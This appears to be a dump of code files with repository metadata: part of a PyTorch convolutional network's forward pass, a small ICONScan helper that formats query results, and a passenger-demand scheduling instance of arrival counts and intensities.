== 1: X1_0 = self.conv27_0(X1) X1_1 = self.conv27_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[27] == 2: X1_0 = self.conv27_0(X1) X1_1 = self.conv27_1(X1) X1_2 = self.conv27_2(X1) X1_3 = self.conv27_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[27] == 3: X1_0 = self.conv27_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv27_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[27] == 4: X1_0 = self.conv27_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv27_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv27_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv27_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv27(X1) else: X1 = self.conv27(X1) if self.dummy_list != None: if self.dummy_list[27] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[27]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn27(X1) if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[27] == 1: X1 = self.conv27_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[27] == 1: X1_skip = X1 X1 = self.conv27_sk(X1) X1 = self.relu(X1 + X1_skip) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[28] == 1: X1_0 = self.conv28_0(X1) X1_1 = self.conv28_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[28] == 2: X1_0 = self.conv28_0(X1) X1_1 = self.conv28_1(X1) X1_2 = self.conv28_2(X1) X1_3 = self.conv28_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[28] == 3: X1_0 = self.conv28_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv28_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[28] == 4: X1_0 = self.conv28_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv28_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv28_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv28_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv28(X1) else: X1 = self.conv28(X1) if self.dummy_list != None: if self.dummy_list[28] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[28]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn28(X1) X1 += X0_skip if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[28] == 1: X1 = self.conv28_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[28] == 1: X1_skip = X1 X1 = self.conv28_sk(X1) X1 = self.relu(X1 + X1_skip) X0_skip = X1 X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[29] == 1: X1_0 = self.conv29_0(X1) X1_1 = self.conv29_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[29] == 2: X1_0 = self.conv29_0(X1) X1_1 = self.conv29_1(X1) X1_2 = self.conv29_2(X1) X1_3 = self.conv29_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[29] == 3: X1_0 = self.conv29_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv29_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[29] == 4: X1_0 = self.conv29_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv29_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv29_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv29_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv29(X1) else: X1 = self.conv29(X1) if self.dummy_list != None: if self.dummy_list[29] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[29]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn29(X1) if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[29] == 1: X1 = self.conv29_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[29] == 1: X1_skip = X1 X1 = self.conv29_sk(X1) X1 = self.relu(X1 + X1_skip) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[30] == 1: X1_0 = self.conv30_0(X1) X1_1 = self.conv30_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[30] == 2: X1_0 = self.conv30_0(X1) X1_1 = self.conv30_1(X1) X1_2 = self.conv30_2(X1) X1_3 = self.conv30_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[30] == 3: X1_0 = self.conv30_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv30_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[30] == 4: X1_0 = self.conv30_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv30_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv30_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv30_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv30(X1) else: X1 = self.conv30(X1) if self.dummy_list != None: if self.dummy_list[30] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[30]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn30(X1) X1 += X0_skip if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[30] == 1: X1 = self.conv30_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[30] == 1: X1_skip = X1 X1 = self.conv30_sk(X1) X1 = self.relu(X1 + X1_skip) X0_skip = X1 X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[31] == 1: X1_0 = self.conv31_0(X1) X1_1 = self.conv31_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[31] == 2: X1_0 = self.conv31_0(X1) X1_1 = self.conv31_1(X1) X1_2 = self.conv31_2(X1) X1_3 = self.conv31_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[31] == 3: X1_0 = self.conv31_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv31_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[31] == 4: X1_0 = self.conv31_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv31_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv31_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv31_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv31(X1) else: X1 = self.conv31(X1) if self.dummy_list != None: if self.dummy_list[31] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[31]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn31(X1) if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[31] == 1: X1 = self.conv31_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[31] == 1: X1_skip = X1 X1 = self.conv31_sk(X1) X1 = self.relu(X1 + X1_skip) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[32] == 1: X1_0 = self.conv32_0(X1) X1_1 = self.conv32_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[32] == 2: X1_0 = self.conv32_0(X1) X1_1 = self.conv32_1(X1) X1_2 = self.conv32_2(X1) X1_3 = self.conv32_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[32] == 3: X1_0 = self.conv32_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv32_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[32] == 4: X1_0 = self.conv32_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv32_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv32_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv32_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv32(X1) else: X1 = self.conv32(X1) if self.dummy_list != None: if self.dummy_list[32] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[32]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn32(X1) X1 += X0_skip if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[32] == 1: X1 = self.conv32_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[32] == 1: X1_skip = X1 X1 = self.conv32_sk(X1) X1 = self.relu(X1 + X1_skip) X1 = self.avgpool(X1) X1 = X1.view(-1, 64) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[33] == 1: X1_0 = self.classifier_0(X1) X1_1 = self.classifier_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[33] == 3: X1_0 = self.classifier_0(X1[:, :int(torch.floor_divide(X1_shape[1],2))]) X1_1 = self.classifier_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[33] == 4: X1_0 = self.classifier_0(X1[:, :int(torch.floor_divide(X1_shape[1],4))]) X1_1 = self.classifier_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2))]) X1_2 = self.classifier_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4))]) X1_3 = self.classifier_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.classifier(X1) else: X1 = self.classifier(X1) if self.dummy_list != None: if self.dummy_list[33] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[33]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.logsoftmax(X1) return X1 batch_size = 1 input_features = 3072 torch.manual_seed(1234) X = torch.randn(batch_size, input_features, device=cuda_device) # Start Call Model model = custom_cnn_7(input_features).to(cuda_device) # End Call Model model.eval() new_out = model(X)

61.367077

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null

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null

0

6

3523419065b1165073d737b0d0d30c8dce62fff5

105

py

Python

public/app/views/transactions_count_per_day_big_icx_transfer.py

iconation/ICONScan

3fb2f364a678a0e8d2b8a4a0d2275fbe8e2e3b50

[ "Apache-2.0" ]

null

public/app/views/transactions_count_per_day_big_icx_transfer.py

iconation/ICONScan

3fb2f364a678a0e8d2b8a4a0d2275fbe8e2e3b50

[ "Apache-2.0" ]

null

public/app/views/transactions_count_per_day_big_icx_transfer.py

iconation/ICONScan

3fb2f364a678a0e8d2b8a4a0d2275fbe8e2e3b50

[ "Apache-2.0" ]

null

import json def process (result): return list (map (lambda r: [r[0].isoformat(), r[1]], result))[1:]

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10673d83abd3aecda6e2eb960943d11b62d903a6

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py

Python

instances/passenger_demand/pas-20210421-2109-int14000000000000001e/3.py

LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure

bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11

[ "BSD-3-Clause" ]

null

instances/passenger_demand/pas-20210421-2109-int14000000000000001e/3.py

LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure

bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11

[ "BSD-3-Clause" ]

null

instances/passenger_demand/pas-20210421-2109-int14000000000000001e/3.py

LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure

bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11

[ "BSD-3-Clause" ]

null

""" PASSENGERS """ numPassengers = 3225 passenger_arriving = ( (3, 5, 3, 4, 1, 0, 8, 9, 10, 7, 1, 0), # 0 (1, 14, 5, 2, 3, 0, 8, 7, 6, 2, 2, 0), # 1 (2, 9, 6, 5, 5, 0, 6, 13, 2, 2, 3, 0), # 2 (3, 9, 9, 1, 4, 0, 5, 7, 5, 5, 0, 0), # 3 (8, 10, 5, 3, 4, 0, 6, 7, 6, 4, 1, 0), # 4 (4, 9, 5, 3, 1, 0, 7, 6, 10, 7, 2, 0), # 5 (2, 7, 13, 6, 2, 0, 6, 3, 6, 2, 3, 0), # 6 (2, 8, 9, 2, 2, 0, 7, 6, 2, 8, 0, 0), # 7 (4, 7, 12, 6, 0, 0, 1, 7, 9, 4, 5, 0), # 8 (1, 10, 6, 3, 2, 0, 4, 5, 11, 6, 2, 0), # 9 (5, 2, 1, 3, 3, 0, 7, 4, 6, 2, 3, 0), # 10 (5, 8, 7, 7, 3, 0, 8, 8, 7, 5, 1, 0), # 11 (10, 5, 6, 4, 2, 0, 8, 9, 9, 7, 7, 0), # 12 (2, 8, 8, 1, 4, 0, 9, 9, 8, 6, 2, 0), # 13 (2, 10, 3, 7, 2, 0, 7, 10, 7, 4, 1, 0), # 14 (6, 7, 10, 5, 4, 0, 4, 4, 7, 8, 1, 0), # 15 (4, 9, 12, 5, 2, 0, 3, 5, 5, 3, 3, 0), # 16 (3, 11, 7, 2, 3, 0, 3, 5, 4, 7, 2, 0), # 17 (9, 10, 8, 2, 1, 0, 9, 5, 9, 7, 2, 0), # 18 (4, 11, 10, 4, 1, 0, 9, 9, 6, 2, 3, 0), # 19 (5, 10, 10, 4, 2, 0, 6, 12, 8, 4, 3, 0), # 20 (5, 6, 11, 4, 0, 0, 5, 3, 4, 5, 4, 0), # 21 (6, 12, 8, 5, 1, 0, 6, 9, 4, 2, 1, 0), # 22 (2, 5, 4, 3, 1, 0, 7, 6, 12, 5, 1, 0), # 23 (2, 6, 8, 4, 8, 0, 2, 13, 8, 3, 3, 0), # 24 (8, 10, 10, 1, 3, 0, 5, 4, 8, 3, 0, 0), # 25 (4, 8, 9, 4, 3, 0, 6, 10, 4, 6, 4, 0), # 26 (5, 9, 7, 4, 4, 0, 3, 13, 6, 3, 3, 0), # 27 (6, 12, 5, 8, 3, 0, 6, 6, 6, 4, 1, 0), # 28 (6, 9, 6, 1, 4, 0, 6, 8, 6, 7, 3, 0), # 29 (4, 8, 6, 4, 5, 0, 3, 14, 6, 4, 3, 0), # 30 (5, 8, 5, 3, 1, 0, 7, 8, 6, 6, 3, 0), # 31 (7, 6, 8, 2, 2, 0, 6, 10, 5, 9, 1, 0), # 32 (4, 12, 9, 8, 2, 0, 8, 12, 4, 4, 2, 0), # 33 (5, 6, 6, 3, 3, 0, 5, 7, 5, 7, 4, 0), # 34 (6, 9, 8, 3, 0, 0, 8, 11, 10, 2, 2, 0), # 35 (3, 6, 15, 4, 2, 0, 10, 9, 4, 1, 2, 0), # 36 (2, 4, 9, 2, 1, 0, 5, 10, 2, 7, 2, 0), # 37 (2, 6, 6, 4, 2, 0, 6, 5, 5, 8, 2, 0), # 38 (6, 10, 13, 4, 1, 0, 8, 9, 3, 7, 1, 0), # 39 (2, 10, 7, 10, 5, 0, 7, 15, 8, 4, 2, 0), # 40 (3, 8, 2, 6, 2, 0, 3, 3, 6, 9, 3, 0), # 41 (5, 10, 11, 5, 5, 0, 14, 9, 7, 2, 2, 0), # 42 (5, 8, 3, 6, 2, 0, 5, 12, 6, 10, 4, 0), # 43 (7, 8, 12, 5, 3, 0, 10, 9, 7, 6, 0, 0), # 44 (7, 8, 5, 4, 1, 0, 8, 12, 8, 5, 2, 0), # 45 (8, 12, 13, 4, 2, 0, 6, 3, 7, 4, 1, 0), # 46 (7, 11, 10, 4, 1, 0, 1, 4, 2, 3, 3, 0), # 47 (6, 5, 8, 2, 3, 0, 4, 10, 6, 5, 1, 0), # 48 (9, 14, 9, 6, 5, 0, 7, 7, 7, 5, 0, 0), # 49 (1, 12, 9, 1, 0, 0, 4, 8, 5, 1, 2, 0), # 50 (3, 8, 7, 3, 4, 0, 4, 5, 11, 5, 2, 0), # 51 (6, 8, 8, 5, 3, 0, 9, 8, 8, 9, 3, 0), # 52 (4, 7, 13, 3, 5, 0, 4, 5, 4, 5, 2, 0), # 53 (8, 7, 7, 2, 2, 0, 4, 9, 6, 2, 1, 0), # 54 (3, 9, 4, 4, 0, 0, 8, 4, 6, 8, 4, 0), # 55 (3, 9, 12, 2, 4, 0, 6, 4, 8, 5, 2, 0), # 56 (4, 9, 6, 7, 2, 0, 5, 7, 9, 3, 0, 0), # 57 (7, 5, 7, 5, 1, 0, 7, 10, 4, 5, 3, 0), # 58 (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0), # 59 ) station_arriving_intensity = ( (3.7095121817383676, 9.515044981060607, 11.19193043059126, 8.87078804347826, 10.000240384615385, 6.659510869565219), # 0 (3.7443308140669203, 9.620858238197952, 11.252381752534994, 8.920190141908213, 10.075193108974359, 6.657240994867151), # 1 (3.7787518681104277, 9.725101964085297, 11.31139817195087, 8.968504830917876, 10.148564102564103, 6.654901690821256), # 2 (3.8127461259877085, 9.827663671875001, 11.368936576156813, 9.01569089673913, 10.22028605769231, 6.652493274456523), # 3 (3.8462843698175795, 9.928430874719417, 11.424953852470724, 9.061707125603865, 10.290291666666668, 6.6500160628019325), # 4 (3.879337381718857, 10.027291085770905, 11.479406888210512, 9.106512303743962, 10.358513621794872, 6.647470372886473), # 5 (3.9118759438103607, 10.12413181818182, 11.53225257069409, 9.150065217391306, 10.424884615384617, 6.644856521739131), # 6 (3.943870838210907, 10.218840585104518, 11.58344778723936, 9.19232465277778, 10.489337339743592, 6.64217482638889), # 7 (3.975292847039314, 10.311304899691358, 11.632949425164242, 9.233249396135266, 10.551804487179488, 6.639425603864735), # 8 (4.006112752414399, 10.401412275094698, 11.680714371786634, 9.272798233695653, 10.61221875, 6.636609171195653), # 9 (4.03630133645498, 10.489050224466892, 11.72669951442445, 9.310929951690824, 10.670512820512823, 6.633725845410628), # 10 (4.065829381279876, 10.5741062609603, 11.7708617403956, 9.347603336352659, 10.726619391025642, 6.630775943538648), # 11 (4.094667669007903, 10.656467897727273, 11.813157937017996, 9.382777173913043, 10.780471153846154, 6.627759782608695), # 12 (4.122786981757876, 10.736022647920176, 11.85354499160954, 9.416410250603866, 10.832000801282053, 6.624677679649759), # 13 (4.15015810164862, 10.81265802469136, 11.891979791488144, 9.448461352657004, 10.881141025641025, 6.621529951690821), # 14 (4.1767518107989465, 10.886261541193182, 11.928419223971721, 9.478889266304348, 10.92782451923077, 6.618316915760871), # 15 (4.202538891327675, 10.956720710578002, 11.96282017637818, 9.507652777777778, 10.971983974358976, 6.61503888888889), # 16 (4.227490125353625, 11.023923045998176, 11.995139536025421, 9.53471067330918, 11.013552083333336, 6.611696188103866), # 17 (4.25157629499561, 11.087756060606061, 12.025334190231364, 9.560021739130436, 11.052461538461543, 6.608289130434783), # 18 (4.274768182372451, 11.148107267554012, 12.053361026313912, 9.58354476147343, 11.088645032051284, 6.604818032910629), # 19 (4.297036569602966, 11.204864179994388, 12.079176931590974, 9.60523852657005, 11.122035256410259, 6.601283212560387), # 20 (4.318352238805971, 11.257914311079544, 12.102738793380466, 9.625061820652174, 11.152564903846153, 6.597684986413044), # 21 (4.338685972100283, 11.307145173961842, 12.124003499000287, 9.642973429951692, 11.180166666666667, 6.5940236714975855), # 22 (4.358008551604722, 11.352444281793632, 12.142927935768354, 9.658932140700484, 11.204773237179488, 6.590299584842997), # 23 (4.3762907594381035, 11.393699147727272, 12.159468991002571, 9.672896739130437, 11.226317307692307, 6.586513043478261), # 24 (4.393503377719247, 11.430797284915124, 12.173583552020853, 9.684826011473431, 11.244731570512819, 6.582664364432368), # 25 (4.409617188566969, 11.46362620650954, 12.185228506141103, 9.694678743961353, 11.259948717948719, 6.5787538647343), # 26 (4.424602974100088, 11.492073425662877, 12.194360740681233, 9.702413722826089, 11.271901442307694, 6.574781861413045), # 27 (4.438431516437421, 11.516026455527497, 12.200937142959157, 9.707989734299519, 11.280522435897437, 6.570748671497586), # 28 (4.4510735976977855, 11.535372809255753, 12.204914600292774, 9.711365564613528, 11.285744391025641, 6.566654612016909), # 29 (4.4625, 11.55, 12.20625, 9.7125, 11.287500000000001, 6.562500000000001), # 30 (4.47319183983376, 11.56215031960227, 12.205248928140096, 9.712295118464054, 11.286861125886526, 6.556726763701484), # 31 (4.4836528452685425, 11.574140056818184, 12.202274033816424, 9.711684477124184, 11.28495815602837, 6.547834661835751), # 32 (4.493887715792838, 11.585967720170455, 12.197367798913046, 9.710674080882354, 11.281811569148937, 6.535910757121439), # 33 (4.503901150895141, 11.597631818181819, 12.19057270531401, 9.709269934640524, 11.277441843971632, 6.521042112277196), # 34 (4.513697850063939, 11.609130859374998, 12.181931234903383, 9.707478043300654, 11.27186945921986, 6.503315790021656), # 35 (4.523282512787724, 11.62046335227273, 12.171485869565219, 9.705304411764708, 11.265114893617023, 6.482818853073463), # 36 (4.532659838554988, 11.631627805397729, 12.159279091183576, 9.70275504493464, 11.257198625886524, 6.4596383641512585), # 37 (4.5418345268542195, 11.642622727272729, 12.145353381642513, 9.699835947712419, 11.248141134751775, 6.433861385973679), # 38 (4.5508112771739135, 11.653446626420456, 12.129751222826087, 9.696553125000001, 11.23796289893617, 6.40557498125937), # 39 (4.559594789002558, 11.664098011363638, 12.11251509661836, 9.692912581699348, 11.22668439716312, 6.37486621272697), # 40 (4.568189761828645, 11.674575390625, 12.093687484903382, 9.68892032271242, 11.214326108156028, 6.34182214309512), # 41 (4.576600895140665, 11.684877272727276, 12.07331086956522, 9.684582352941177, 11.2009085106383, 6.3065298350824595), # 42 (4.584832888427111, 11.69500216619318, 12.051427732487923, 9.679904677287583, 11.186452083333334, 6.26907635140763), # 43 (4.592890441176471, 11.704948579545455, 12.028080555555556, 9.674893300653595, 11.17097730496454, 6.229548754789272), # 44 (4.600778252877237, 11.714715021306818, 12.003311820652177, 9.669554227941177, 11.15450465425532, 6.188034107946028), # 45 (4.6085010230179035, 11.724300000000003, 11.97716400966184, 9.663893464052288, 11.137054609929079, 6.144619473596536), # 46 (4.616063451086957, 11.733702024147728, 11.9496796044686, 9.65791701388889, 11.118647650709221, 6.099391914459438), # 47 (4.623470236572891, 11.742919602272728, 11.920901086956523, 9.651630882352942, 11.099304255319149, 6.052438493253375), # 48 (4.630726078964194, 11.751951242897727, 11.890870939009663, 9.645041074346407, 11.079044902482272, 6.003846272696985), # 49 (4.6378356777493615, 11.760795454545454, 11.85963164251208, 9.638153594771243, 11.057890070921987, 5.953702315508913), # 50 (4.6448037324168805, 11.769450745738636, 11.827225679347826, 9.630974448529413, 11.035860239361703, 5.902093684407797), # 51 (4.651634942455243, 11.777915625, 11.793695531400965, 9.623509640522876, 11.012975886524824, 5.849107442112278), # 52 (4.658334007352941, 11.786188600852274, 11.759083680555555, 9.615765175653596, 10.989257491134753, 5.794830651340996), # 53 (4.6649056265984665, 11.79426818181818, 11.723432608695653, 9.60774705882353, 10.964725531914894, 5.739350374812594), # 54 (4.671354499680307, 11.802152876420456, 11.686784797705313, 9.599461294934642, 10.939400487588653, 5.682753675245711), # 55 (4.677685326086957, 11.809841193181818, 11.649182729468599, 9.59091388888889, 10.913302836879433, 5.625127615358988), # 56 (4.683902805306906, 11.817331640625003, 11.610668885869565, 9.582110845588236, 10.886453058510638, 5.566559257871065), # 57 (4.690011636828645, 11.824622727272727, 11.57128574879227, 9.573058169934642, 10.858871631205675, 5.507135665500583), # 58 (0.0, 0.0, 0.0, 0.0, 0.0, 0.0), # 59 ) passenger_arriving_acc = ( (3, 5, 3, 4, 1, 0, 8, 9, 10, 7, 1, 0), # 0 (4, 19, 8, 6, 4, 0, 16, 16, 16, 9, 3, 0), # 1 (6, 28, 14, 11, 9, 0, 22, 29, 18, 11, 6, 0), # 2 (9, 37, 23, 12, 13, 0, 27, 36, 23, 16, 6, 0), # 3 (17, 47, 28, 15, 17, 0, 33, 43, 29, 20, 7, 0), # 4 (21, 56, 33, 18, 18, 0, 40, 49, 39, 27, 9, 0), # 5 (23, 63, 46, 24, 20, 0, 46, 52, 45, 29, 12, 0), # 6 (25, 71, 55, 26, 22, 0, 53, 58, 47, 37, 12, 0), # 7 (29, 78, 67, 32, 22, 0, 54, 65, 56, 41, 17, 0), # 8 (30, 88, 73, 35, 24, 0, 58, 70, 67, 47, 19, 0), # 9 (35, 90, 74, 38, 27, 0, 65, 74, 73, 49, 22, 0), # 10 (40, 98, 81, 45, 30, 0, 73, 82, 80, 54, 23, 0), # 11 (50, 103, 87, 49, 32, 0, 81, 91, 89, 61, 30, 0), # 12 (52, 111, 95, 50, 36, 0, 90, 100, 97, 67, 32, 0), # 13 (54, 121, 98, 57, 38, 0, 97, 110, 104, 71, 33, 0), # 14 (60, 128, 108, 62, 42, 0, 101, 114, 111, 79, 34, 0), # 15 (64, 137, 120, 67, 44, 0, 104, 119, 116, 82, 37, 0), # 16 (67, 148, 127, 69, 47, 0, 107, 124, 120, 89, 39, 0), # 17 (76, 158, 135, 71, 48, 0, 116, 129, 129, 96, 41, 0), # 18 (80, 169, 145, 75, 49, 0, 125, 138, 135, 98, 44, 0), # 19 (85, 179, 155, 79, 51, 0, 131, 150, 143, 102, 47, 0), # 20 (90, 185, 166, 83, 51, 0, 136, 153, 147, 107, 51, 0), # 21 (96, 197, 174, 88, 52, 0, 142, 162, 151, 109, 52, 0), # 22 (98, 202, 178, 91, 53, 0, 149, 168, 163, 114, 53, 0), # 23 (100, 208, 186, 95, 61, 0, 151, 181, 171, 117, 56, 0), # 24 (108, 218, 196, 96, 64, 0, 156, 185, 179, 120, 56, 0), # 25 (112, 226, 205, 100, 67, 0, 162, 195, 183, 126, 60, 0), # 26 (117, 235, 212, 104, 71, 0, 165, 208, 189, 129, 63, 0), # 27 (123, 247, 217, 112, 74, 0, 171, 214, 195, 133, 64, 0), # 28 (129, 256, 223, 113, 78, 0, 177, 222, 201, 140, 67, 0), # 29 (133, 264, 229, 117, 83, 0, 180, 236, 207, 144, 70, 0), # 30 (138, 272, 234, 120, 84, 0, 187, 244, 213, 150, 73, 0), # 31 (145, 278, 242, 122, 86, 0, 193, 254, 218, 159, 74, 0), # 32 (149, 290, 251, 130, 88, 0, 201, 266, 222, 163, 76, 0), # 33 (154, 296, 257, 133, 91, 0, 206, 273, 227, 170, 80, 0), # 34 (160, 305, 265, 136, 91, 0, 214, 284, 237, 172, 82, 0), # 35 (163, 311, 280, 140, 93, 0, 224, 293, 241, 173, 84, 0), # 36 (165, 315, 289, 142, 94, 0, 229, 303, 243, 180, 86, 0), # 37 (167, 321, 295, 146, 96, 0, 235, 308, 248, 188, 88, 0), # 38 (173, 331, 308, 150, 97, 0, 243, 317, 251, 195, 89, 0), # 39 (175, 341, 315, 160, 102, 0, 250, 332, 259, 199, 91, 0), # 40 (178, 349, 317, 166, 104, 0, 253, 335, 265, 208, 94, 0), # 41 (183, 359, 328, 171, 109, 0, 267, 344, 272, 210, 96, 0), # 42 (188, 367, 331, 177, 111, 0, 272, 356, 278, 220, 100, 0), # 43 (195, 375, 343, 182, 114, 0, 282, 365, 285, 226, 100, 0), # 44 (202, 383, 348, 186, 115, 0, 290, 377, 293, 231, 102, 0), # 45 (210, 395, 361, 190, 117, 0, 296, 380, 300, 235, 103, 0), # 46 (217, 406, 371, 194, 118, 0, 297, 384, 302, 238, 106, 0), # 47 (223, 411, 379, 196, 121, 0, 301, 394, 308, 243, 107, 0), # 48 (232, 425, 388, 202, 126, 0, 308, 401, 315, 248, 107, 0), # 49 (233, 437, 397, 203, 126, 0, 312, 409, 320, 249, 109, 0), # 50 (236, 445, 404, 206, 130, 0, 316, 414, 331, 254, 111, 0), # 51 (242, 453, 412, 211, 133, 0, 325, 422, 339, 263, 114, 0), # 52 (246, 460, 425, 214, 138, 0, 329, 427, 343, 268, 116, 0), # 53 